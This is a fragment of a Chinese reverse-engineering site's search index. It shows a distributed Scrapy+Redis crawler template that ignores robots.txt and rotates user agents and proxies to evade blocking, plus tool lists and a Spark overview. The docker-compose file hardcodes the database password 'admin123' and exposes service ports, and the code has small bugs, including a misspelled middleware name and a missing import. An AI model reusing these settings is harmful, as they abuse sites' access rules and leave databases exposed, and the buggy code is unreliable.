","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:9:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#工具推荐"},{"categories":null,"collections":null,"content":"RSS/Atom 工具 feedparser: Python RSS/Atom 解析库 Feedly: 商业 RSS 聚合服务 Inoreader: RSS 阅读器 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:9:1","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#rssatom-工具"},{"categories":null,"collections":null,"content":"内容提取 newspaper3k: 新闻文章提取 Readability: 内容提取算法 Trafilatura: 网页内容提取 BeautifulSoup: HTML 解析 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:9:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#内容提取"},{"categories":null,"collections":null,"content":"去重算法 simhash: 文本指纹 datasketch: MinHash 实现 faiss: 向量相似度搜索 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:9:3","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#去重算法"},{"categories":null,"collections":null,"content":"实时推送 websocket-client: Python WebSocket 客户端 Socket.IO: 实时通信框架 SSE: Server-Sent Events ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:9:4","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#实时推送"},{"categories":null,"collections":null,"content":"相关章节 HTTP/HTTPS 协议 Hook 技术 WebSocket 逆向 内容安全策略绕过 搜索引擎对抗 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:10:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#相关章节"},{"categories":null,"collections":null,"content":"分布式爬虫架构模板 基于 Scrapy + Redis 的分布式爬虫架构，支持多机协同、任务调度和数据去重。 ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:0:0","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#分布式爬虫架构模板"},{"categories":null,"collections":null,"content":"项目结构 distributed_crawler/ ├── scrapy_project/ │ ├── scrapy.cfg │ ├── spiders/ │ │ ├── __init__.py │ │ ├── base_spider.py │ │ └── target_spider.py │ ├── items.py │ ├── pipelines.py │ ├── middlewares.py │ ├── settings.py │ └── utils/ │ ├── __init__.py │ ├── redis_client.py │ └── bloomfilter.py ├── scheduler/ │ ├── __init__.py │ ├── task_manager.py │ └── url_scheduler.py ├── config/ │ ├── __init__.py │ ├── settings.py │ └── redis_config.py ├── docker/ │ ├── Dockerfile.spider │ ├── Dockerfile.scheduler │ └── docker-compose.yml ├── scripts/ │ ├── start_spider.sh │ ├── add_tasks.py │ └── monitor.py ├── tests/ │ └── test_spider.py ├── requirements.txt └── README.md ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:1:0","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#项目结构"},{"categories":null,"collections":null,"content":"核心文件 ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:0","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#核心文件"},{"categories":null,"collections":null,"content":"1. scrapy_project/settings.py \"\"\" Scrapy 分布式配置 \"\"\" import os from dotenv import load_dotenv load_dotenv() # Scrapy 基础配置 BOT_NAME = 'distributed_crawler' SPIDER_MODULES = ['scrapy_project.spiders'] NEWSPIDER_MODULE = 'scrapy_project.spiders' # 遵守 robots.txt ROBOTSTXT_OBEY = False # 并发配置 CONCURRENT_REQUESTS = 16 CONCURRENT_REQUESTS_PER_DOMAIN = 8 CONCURRENT_REQUESTS_PER_IP = 8 # 下载延迟 DOWNLOAD_DELAY = 1 RANDOMIZE_DOWNLOAD_DELAY = True # 超时设置 DOWNLOAD_TIMEOUT = 30 RETRY_TIMES = 3 RETRY_HTTP_CODES = [500, 502, 503, 504, 408, 429] # User-Agent USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' # 请求头 DEFAULT_REQUEST_HEADERS = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate', } # ==================== Redis 配置 ==================== # 使用 scrapy-redis SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" DUPEFILTER_CLASS = \"scrapy_redis.dupefilter.RFPDupeFilter\" SCHEDULER_PERSIST = True # 保持调度队列 # Redis 连接 REDIS_HOST = os.getenv('REDIS_HOST', 'localhost') REDIS_PORT = int(os.getenv('REDIS_PORT', 6379)) REDIS_PASSWORD = os.getenv('REDIS_PASSWORD', '') REDIS_DB = int(os.getenv('REDIS_DB', 0)) # Redis 连接配置 REDIS_PARAMS = { 'password': REDIS_PASSWORD, 'db': REDIS_DB, 'decode_responses': False, # 关键：不自动解码 } # 调度队列 key 前缀 SCHEDULER_QUEUE_KEY = '%(spider)s:requests' SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' # ==================== 中间件 ==================== DOWNLOADER_MIDDLEWARES = { # 重试中间件 'scrapy.downloadermiddlewares.retry.RetryMiddleware': 90, # Redis 统计中间件 'scrapy_redis.downloadermiddleware.RedisStatsMiddleware': 100, # 随机 User-Agent 'scrapy_project.middlewares.RandomUserAgentMiddleware': 400, # 代理中间件 'scrapy_project.middlewares.ProxyMiddleware': 410, # 异常捕获 'scrapy_project.middlewares.ExceptionMiddleware': 500, } SPIDER_MIDDLEWARES = { 'scrapy_redis.spidermiddleware.RedisSrpiderMiddleware': 100, } # ==================== Pipeline ==================== ITEM_PIPELINES = { # 数据清洗 'scrapy_project.pipelines.CleanPipeline': 100, # 去重检查 'scrapy_project.pipelines.DuplicatesPipeline': 200, # MongoDB 存储 'scrapy_project.pipelines.MongoPipeline': 300, # Redis 缓存 'scrapy_project.pipelines.RedisPipeline': 400, } # ==================== MongoDB 配置 ==================== MONGODB_URI = os.getenv('MONGODB_URI', 'mongodb://localhost:27017/') MONGODB_DATABASE = os.getenv('MONGODB_DB', 'scraper_db') MONGODB_COLLECTION = '%(spider)s_items' # ==================== 日志配置 ==================== LOG_LEVEL = 'INFO' LOG_FORMAT = '%(asctime)s [%(name)s] %(levelname)s: %(message)s' LOG_DATEFORMAT = '%Y-%m-%d %H:%M:%S' # ==================== 其他配置 ==================== # 自动限速 AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 1 AUTOTHROTTLE_MAX_DELAY = 10 AUTOTHROTTLE_TARGET_CONCURRENCY = 2.0 # Cookies COOKIES_ENABLED = True COOKIES_DEBUG = False # Telnet 控制台 TELNETCONSOLE_ENABLED = True TELNETCONSOLE_PORT = [6023, 6024, 6025] ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:1","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#1-scrapy_projectsettingspy"},{"categories":null,"collections":null,"content":"2. scrapy_project/items.py \"\"\" 数据模型定义 \"\"\" import scrapy from scrapy.loader.processors import TakeFirst, MapCompose, Join from w3lib.html import remove_tags def clean_text(text): \"\"\"清理文本\"\"\" return text.strip() if text else '' class BaseItem(scrapy.Item): \"\"\"基础 Item\"\"\" # 通用字段 url = scrapy.Field(output_processor=TakeFirst()) spider_name = scrapy.Field(output_processor=TakeFirst()) crawl_time = scrapy.Field(output_processor=TakeFirst()) class ProductItem(BaseItem): \"\"\"商品 Item\"\"\" title = scrapy.Field( input_processor=MapCompose(remove_tags, clean_text), output_processor=TakeFirst() ) price = scrapy.Field(output_processor=TakeFirst()) stock = scrapy.Field(output_processor=TakeFirst()) description = scrapy.Field( input_processor=MapCompose(remove_tags, clean_text), output_processor=Join('\\n') ) images = scrapy.Field() tags = scrapy.Field() rating = scrapy.Field(output_processor=TakeFirst()) reviews_count = scrapy.Field(output_processor=TakeFirst()) class ArticleItem(BaseItem): \"\"\"文章 Item\"\"\" title = scrapy.Field( input_processor=MapCompose(remove_tags, clean_text), output_processor=TakeFirst() ) author = scrapy.Field(output_processor=TakeFirst()) publish_time = scrapy.Field(output_processor=TakeFirst()) content = scrapy.Field( input_processor=MapCompose(remove_tags, clean_text), output_processor=Join('\\n') ) category = scrapy.Field() tags = scrapy.Field() view_count = scrapy.Field(output_processor=TakeFirst()) ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:2","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#2-scrapy_projectitemspy"},{"categories":null,"collections":null,"content":"3. scrapy_project/pipelines.py \"\"\" 数据处理 Pipeline \"\"\" import hashlib import pymongo import redis from datetime import datetime from itemadapter import ItemAdapter from scrapy.exceptions import DropItem class CleanPipeline: \"\"\"数据清洗 Pipeline\"\"\" def process_item(self, item, spider): adapter = ItemAdapter(item) # 添加爬取时间 adapter['crawl_time'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S') adapter['spider_name'] = spider.name # 清理空值 for field in adapter.field_names(): value = adapter.get(field) if value is None or value == '': adapter[field] = None return item class DuplicatesPipeline: \"\"\"去重 Pipeline (基于 Redis)\"\"\" def __init__(self, redis_host, redis_port, redis_password, redis_db): self.redis_host = redis_host self.redis_port = redis_port self.redis_password = redis_password self.redis_db = redis_db self.redis_client = None @classmethod def from_crawler(cls, crawler): return cls( redis_host=crawler.settings.get('REDIS_HOST'), redis_port=crawler.settings.get('REDIS_PORT'), redis_password=crawler.settings.get('REDIS_PASSWORD'), redis_db=crawler.settings.get('REDIS_DB'), ) def open_spider(self, spider): self.redis_client = redis.Redis( host=self.redis_host, port=self.redis_port, password=self.redis_password, db=self.redis_db, decode_responses=True ) def close_spider(self, spider): if self.redis_client: self.redis_client.close() def process_item(self, item, spider): adapter = ItemAdapter(item) # 生成唯一标识 url = adapter.get('url', '') item_hash = hashlib.md5(url.encode()).hexdigest() # 检查是否已存在 key = f\"{spider.name}:items:{item_hash}\" if self.redis_client.exists(key): raise DropItem(f\"Duplicate item found: {url}\") # 标记已处理 self.redis_client.setex(key, 86400 * 7, '1') # 保留7天 return item class MongoPipeline: \"\"\"MongoDB 存储 Pipeline\"\"\" def __init__(self, mongo_uri, mongo_db): self.mongo_uri = mongo_uri self.mongo_db = mongo_db self.client = None self.db = None @classmethod def from_crawler(cls, crawler): return cls( mongo_uri=crawler.settings.get('MONGODB_URI'), mongo_db=crawler.settings.get('MONGODB_DATABASE') ) def open_spider(self, spider): self.client = pymongo.MongoClient(self.mongo_uri) self.db = self.client[self.mongo_db] def close_spider(self, spider): if self.client: self.client.close() def process_item(self, item, spider): collection_name = f\"{spider.name}_items\" collection = self.db[collection_name] # 插入数据 item_dict = ItemAdapter(item).asdict() collection.insert_one(item_dict) spider.logger.info(f\"Item saved to MongoDB: {item_dict.get('url')}\") return item class RedisPipeline: \"\"\"Redis 缓存 Pipeline\"\"\" def __init__(self, redis_host, redis_port, redis_password, redis_db): self.redis_host = redis_host self.redis_port = redis_port self.redis_password = redis_password self.redis_db = redis_db self.redis_client = None @classmethod def from_crawler(cls, crawler): return cls( redis_host=crawler.settings.get('REDIS_HOST'), redis_port=crawler.settings.get('REDIS_PORT'), redis_password=crawler.settings.get('REDIS_PASSWORD'), redis_db=crawler.settings.get('REDIS_DB') + 1, # 使用不同的 DB ) def open_spider(self, spider): self.redis_client = redis.Redis( host=self.redis_host, port=self.redis_port, password=self.redis_password, db=self.redis_db, decode_responses=True ) def close_spider(self, spider): if self.redis_client: self.redis_client.close() def process_item(self, item, spider): import json adapter = ItemAdapter(item) url = adapter.get('url', '') item_hash = hashlib.md5(url.encode()).hexdigest() # 缓存到 Redis key = f\"{spider.name}:cache:{item_hash}\" value = json.dumps(adapter.asdict(), ensure_ascii=False) self.redis_client.setex(key, 3600, value) # 缓存1小时 return item ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:3","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#3-scrapy_projectpipelinespy"},{"categories":null,"collections":null,"content":"4. scrapy_project/middlewares.py \"\"\" 中间件 \"\"\" import random from scrapy import signals from scrapy.downloadermiddlewares.useragent import UserAgentMiddleware from scrapy.exceptions import IgnoreRequest class RandomUserAgentMiddleware(UserAgentMiddleware): \"\"\"随机 User-Agent 中间件\"\"\" USER_AGENTS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', ] def process_request(self, request, spider): user_agent = random.choice(self.USER_AGENTS) request.headers['User-Agent'] = user_agent class ProxyMiddleware: \"\"\"代理中间件\"\"\" def __init__(self, proxy_list): self.proxy_list = proxy_list @classmethod def from_crawler(cls, crawler): # 从配置或 Redis 获取代理列表 proxy_list = crawler.settings.get('PROXY_LIST', []) return cls(proxy_list) def process_request(self, request, spider): if self.proxy_list: proxy = random.choice(self.proxy_list) request.meta['proxy'] = proxy spider.logger.debug(f\"Using proxy: {proxy}\") def process_exception(self, request, exception, spider): # 代理失败时，移除该代理 proxy = request.meta.get('proxy') if proxy and proxy in self.proxy_list: self.proxy_list.remove(proxy) spider.logger.warning(f\"Removed failed proxy: {proxy}\") class ExceptionMiddleware: \"\"\"异常处理中间件\"\"\" def process_response(self, request, response, spider): # 检查响应状态码 if response.status in [403, 429]: spider.logger.warning(f\"Rate limited or blocked: {response.url}\") # 可以在这里实现延迟重试逻辑 return response def process_exception(self, request, exception, spider): spider.logger.error(f\"Request failed: {request.url} - {exception}\") ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:4","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#4-scrapy_projectmiddlewarespy"},{"categories":null,"collections":null,"content":"5. scrapy_project/spiders/base_spider.py \"\"\" 基础爬虫类 \"\"\" from scrapy_redis.spiders import RedisSpider from scrapy.loader import ItemLoader class BaseRedisSpider(RedisSpider): \"\"\"基础 Redis 爬虫\"\"\" # Redis key (需要在子类中覆盖) redis_key = None # 批处理大小 redis_batch_size = 10 # 最大空闲时间 (秒) max_idle_time = 60 def make_request_from_data(self, data): \"\"\" 从 Redis 获取的数据创建请求 Args: data: 从 Redis 获取的 URL 或数据 Returns: Request 对象 \"\"\" url = data.decode('utf-8') if isinstance(data, bytes) else data return self.make_requests_from_url(url) def parse(self, response): \"\"\"需要在子类中实现\"\"\" raise NotImplementedError def get_item_loader(self, item_class, response): \"\"\"创建 ItemLoader\"\"\" loader = ItemLoader(item=item_class(), response=response) loader.add_value('url', response.url) return loader ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:5","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#5-scrapy_projectspidersbase_spiderpy"},{"categories":null,"collections":null,"content":"6. scrapy_project/spiders/target_spider.py \"\"\" 目标网站爬虫 \"\"\" from scrapy import Request from .base_spider import BaseRedisSpider from scrapy_project.items import ProductItem class TargetSpider(BaseRedisSpider): \"\"\"目标网站爬虫\"\"\" name = 'target_spider' redis_key = 'target_spider:start_urls' custom_settings = { 'CONCURRENT_REQUESTS': 8, 'DOWNLOAD_DELAY': 2, } def parse(self, response): \"\"\" 解析列表页 \"\"\" # 提取产品链接 for href in response.css('.product-item a::attr(href)').getall(): url = response.urljoin(href) yield Request(url, callback=self.parse_detail) # 翻页 next_page = response.css('.pagination .next::attr(href)').get() if next_page: yield Request(response.urljoin(next_page), callback=self.parse) def parse_detail(self, response): \"\"\" 解析详情页 \"\"\" loader = self.get_item_loader(ProductItem, response) # 提取字段 loader.add_css('title', 'h1.product-title::text') loader.add_css('price', '.price::text') loader.add_css('stock', '.stock::text') loader.add_css('description', '.description *::text') loader.add_css('images', '.product-images img::attr(src)') loader.add_css('tags', '.tags a::text') loader.add_css('rating', '.rating::attr(data-rating)') loader.add_css('reviews_count', '.reviews-count::text') yield loader.load_item() ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:6","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#6-scrapy_projectspiderstarget_spiderpy"},{"categories":null,"collections":null,"content":"7. scheduler/task_manager.py \"\"\" 任务管理器 \"\"\" import redis import logging class TaskManager: \"\"\"分布式任务管理器\"\"\" def __init__(self, redis_host='localhost', redis_port=6379, redis_password='', redis_db=0): self.redis_client = redis.Redis( host=redis_host, port=redis_port, password=redis_password, db=redis_db, decode_responses=True ) self.logger = logging.getLogger(__name__) def add_start_urls(self, spider_name, urls): \"\"\" 添加起始 URL 到 Redis Args: spider_name: 爬虫名称 urls: URL 列表 \"\"\" key = f\"{spider_name}:start_urls\" if isinstance(urls, str): urls = [urls] added = self.redis_client.lpush(key, *urls) self.logger.info(f\"Added {added} URLs to {key}\") return added def get_queue_size(self, spider_name): \"\"\"获取队列大小\"\"\" key = f\"{spider_name}:start_urls\" return self.redis_client.llen(key) def clear_queue(self, spider_name): \"\"\"清空队列\"\"\" key = f\"{spider_name}:start_urls\" deleted = self.redis_client.delete(key) self.logger.info(f\"Cleared queue: {key}\") return deleted def get_stats(self, spider_name): \"\"\"获取统计信息\"\"\" stats = { 'queue_size': self.get_queue_size(spider_name), 'items_count': self.redis_client.scard(f\"{spider_name}:dupefilter\"), } return stats if __name__ == '__main__': # 使用示例 logging.basicConfig(level=logging.INFO) manager = TaskManager( redis_host='localhost', redis_port=6379, redis_password=os.environ.get('REDIS_PASSWORD', '') ) # 添加起始 URL urls = [ 'https://example.com/page/1', 'https://example.com/page/2', 'https://example.com/page/3', ] manager.add_start_urls('target_spider', urls) # 查看统计 stats = manager.get_stats('target_spider') print(f\"Stats: {stats}\") ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:7","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#7-schedulertask_managerpy"},{"categories":null,"collections":null,"content":"8. scripts/add_tasks.py \"\"\" 批量添加任务脚本 \"\"\" import sys import os sys.path.insert(0, os.path.dirname(os.path.dirname(__file__))) from scheduler.task_manager import TaskManager import logging logging.basicConfig( level=logging.INFO, format='%(asctime)s [%(levelname)s] %(message)s' ) def generate_urls(base_url, start_page, end_page): \"\"\"生成 URL 列表\"\"\" return [f\"{base_url}?page={i}\" for i in range(start_page, end_page + 1)] def main(): manager = TaskManager( redis_host='localhost', redis_port=6379, redis_password=os.environ.get('REDIS_PASSWORD', '') ) # 生成 URL urls = generate_urls( base_url='https://example.com/products', start_page=1, end_page=100 ) # 添加到队列 manager.add_start_urls('target_spider', urls) # 查看统计 stats = manager.get_stats('target_spider') print(f\"\\n✅ Tasks added successfully!\") print(f\" Queue size: {stats['queue_size']}\") if __name__ == '__main__': main() ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:8","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#8-scriptsadd_taskspy"},{"categories":null,"collections":null,"content":"9. scripts/monitor.py \"\"\" 爬虫监控脚本 \"\"\" import sys import os import time import redis sys.path.insert(0, os.path.dirname(os.path.dirname(__file__))) class CrawlerMonitor: \"\"\"爬虫监控\"\"\" def __init__(self, redis_host='localhost', redis_port=6379, redis_password='', redis_db=0): self.redis_client = redis.Redis( host=redis_host, port=redis_port, password=redis_password, db=redis_db, decode_responses=True ) def get_spider_stats(self, spider_name): \"\"\"获取爬虫统计信息\"\"\" stats = {} # 队列大小 queue_key = f\"{spider_name}:requests\" stats['queue_size'] = self.redis_client.llen(queue_key) # 去重集合大小 dupefilter_key = f\"{spider_name}:dupefilter\" stats['processed_urls'] = self.redis_client.scard(dupefilter_key) # 缓存数量 cache_pattern = f\"{spider_name}:cache:*\" stats['cached_items'] = len(self.redis_client.keys(cache_pattern)) return stats def monitor(self, spider_name, interval=5): \"\"\" 持续监控 Args: spider_name: 爬虫名称 interval: 刷新间隔（秒） \"\"\" print(f\" Monitoring {spider_name}... (Press Ctrl+C to stop)\\n\") try: while True: stats = self.get_spider_stats(spider_name) print(f\"\\r Queue: {stats['queue_size']:\u003e6} | \" f\"Processed: {stats['processed_urls']:\u003e8} | \" f\"Cached: {stats['cached_items']:\u003e6}\", end='', flush=True) time.sleep(interval) except KeyboardInterrupt: print(\"\\n\\n✅ Monitoring stopped\") if __name__ == '__main__': monitor = CrawlerMonitor( redis_host='localhost', redis_port=6379, redis_password=os.environ.get('REDIS_PASSWORD', '') ) monitor.monitor('target_spider', interval=2) ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:9","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#9-scriptsmonitorpy"},{"categories":null,"collections":null,"content":"10. docker/docker-compose.yml version: \"3.8\" services: # Redis redis: image: redis:7-alpine container_name: crawler_redis command: redis-server --requirepass ${REDIS_PASSWORD} --maxmemory 512mb ports: - \"6379:6379\" volumes: - redis_data:/data networks: - crawler_network # MongoDB mongodb: image: mongo:7.0 container_name: crawler_mongodb environment: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: admin123 ports: - \"27017:27017\" volumes: - mongodb_data:/data/db networks: - crawler_network # Scrapy Master (调度器) master: build: context: .. dockerfile: docker/Dockerfile.scheduler container_name: crawler_master environment: REDIS_HOST: redis REDIS_PORT: 6379 REDIS_PASSWORD: ${REDIS_PASSWORD} MONGODB_URI: mongodb://admin:${MONGO_PASSWORD}@mongodb:27017/ depends_on: - redis - mongodb networks: - crawler_network command: python scheduler/task_manager.py # Scrapy Worker (爬虫节点) spider: build: context: .. dockerfile: docker/Dockerfile.spider environment: REDIS_HOST: redis REDIS_PORT: 6379 REDIS_PASSWORD: ${REDIS_PASSWORD} MONGODB_URI: mongodb://admin:${MONGO_PASSWORD}@mongodb:27017/ depends_on: - redis - mongodb networks: - crawler_network deploy: replicas: 3 command: scrapy crawl target_spider networks: crawler_network: driver: bridge volumes: redis_data: mongodb_data: ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:10","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#10-dockerdocker-composeyml"},{"categories":null,"collections":null,"content":"11. requirements.txt Scrapy\u003e=2.11.0 scrapy-redis\u003e=0.7.3 redis\u003e=5.0.0 pymongo\u003e=4.6.0 python-dotenv\u003e=1.0.0 w3lib\u003e=2.1.0 itemadapter\u003e=0.8.0 ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:2:11","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#11-requirementstxt"},{"categories":null,"collections":null,"content":"使用指南 ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:3:0","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#使用指南"},{"categories":null,"collections":null,"content":"单机测试 # 1. 安装依赖 pip install -r requirements.txt # 2. 启动 Redis 和 MongoDB docker-compose up -d redis mongodb # 3. 添加任务 python scripts/add_tasks.py # 4. 启动爬虫 scrapy crawl target_spider # 5. 监控进度 python scripts/monitor.py ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:3:1","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#单机测试"},{"categories":null,"collections":null,"content":"分布式部署 # 1. 构建并启动所有服务 docker-compose up -d # 2. 扩容爬虫节点 docker-compose up -d --scale spider=5 # 3. 查看日志 docker-compose logs -f spider # 4. 查看统计 docker exec crawler_master python scripts/monitor.py ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:3:2","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#分布式部署"},{"categories":null,"collections":null,"content":"相关资源 基础爬虫项目 Docker 部署 分布式爬虫 Scrapy 文档 scrapy-redis 文档 ","date":"2025-06-11","objectID":"/reverse_engineering/web/09-templates/distributed_crawler/:4:0","tags":["Web","项目","签名验证","Docker","代理池","Root检测"],"title":"分布式爬虫架构模板","uri":"/reverse_engineering/web/09-templates/distributed_crawler/#相关资源"},{"categories":null,"collections":null,"content":"Apache Spark 大数据处理 Apache Spark 是一个统一的大数据处理引擎，支持批处理、流处理、机器学习和图计算。 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:0:0","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#apache-spark-大数据处理"},{"categories":null,"collections":null,"content":"Spark 架构 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:1:0","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#spark-架构"},{"categories":null,"collections":null,"content":"集群架构 ┌─────────────────────────────────────────────────────────────┐ │ Driver Program │ │ (SparkContext) │ └─────────────────────────┬───────────────────────────────────┘ │ ┌─────────────────────────▼───────────────────────────────────┐ │ Cluster Manager (YARN/Mesos/Standalone) │ └──────┬──────────────────┬──────────────────────┬────────────┘ │ │ │ ┌──────▼──────┐ ┌───────▼──────┐ ┌──────────▼─────────┐ │ Worker Node1│ │ Worker Node2 │ │ Worker Node3 │ ├─────────────┤ ├──────────────┤ ├────────────────────┤ │ Executor1 │ │ Executor1 │ │ Executor1 │ │ ├── Task1 │ │ ├── Task1 │ │ ├── Task1 │ │ └── Task2 │ │ └── Task2 │ │ └── Task2 │ │ Cache │ │ Cache │ │ Cache │ └─────────────┘ └──────────────┘ └────────────────────┘ ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:1:1","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#集群架构"},{"categories":null,"collections":null,"content":"核心组件 组件 说明 SparkContext Spark 程序入口，协调集群资源 Cluster Manager 集群资源管理器 Worker Node 集群中的工作节点 Executor 运行在 Worker 上的进程，执行 Task Task 最小的工作单元 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:1:2","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#核心组件"},{"categories":null,"collections":null,"content":"运行流程 Driver 创建 SparkContext 资源申请: 向 Cluster Manager 申请资源 任务调度: DAG Scheduler 将 Job 分解为 Stage 和 Task 任务分发: Task Scheduler 将 Task 分发到 Executor 任务执行: Executor 执行 Task 并返回结果 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:1:3","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#运行流程"},{"categories":null,"collections":null,"content":"RDD 编程 ","date":"2025-06-10","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/:2:0","tags":["大数据","工程实践"],"title":"Apache Spark 大数据处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/spark/#rdd-编程"},{"categories":null,"collections":null,"content":"RDD 基本概念 RDD (Resilient Distributed Dataset): 弹性分布式数据集 特性 不可变性: RDD 一旦创建不可修改 分区性: 数据分布在多个分区 容错性: 通过血统(Lineage)恢复丢失数据 惰性求值: 只有在 Action 操作时才会执行 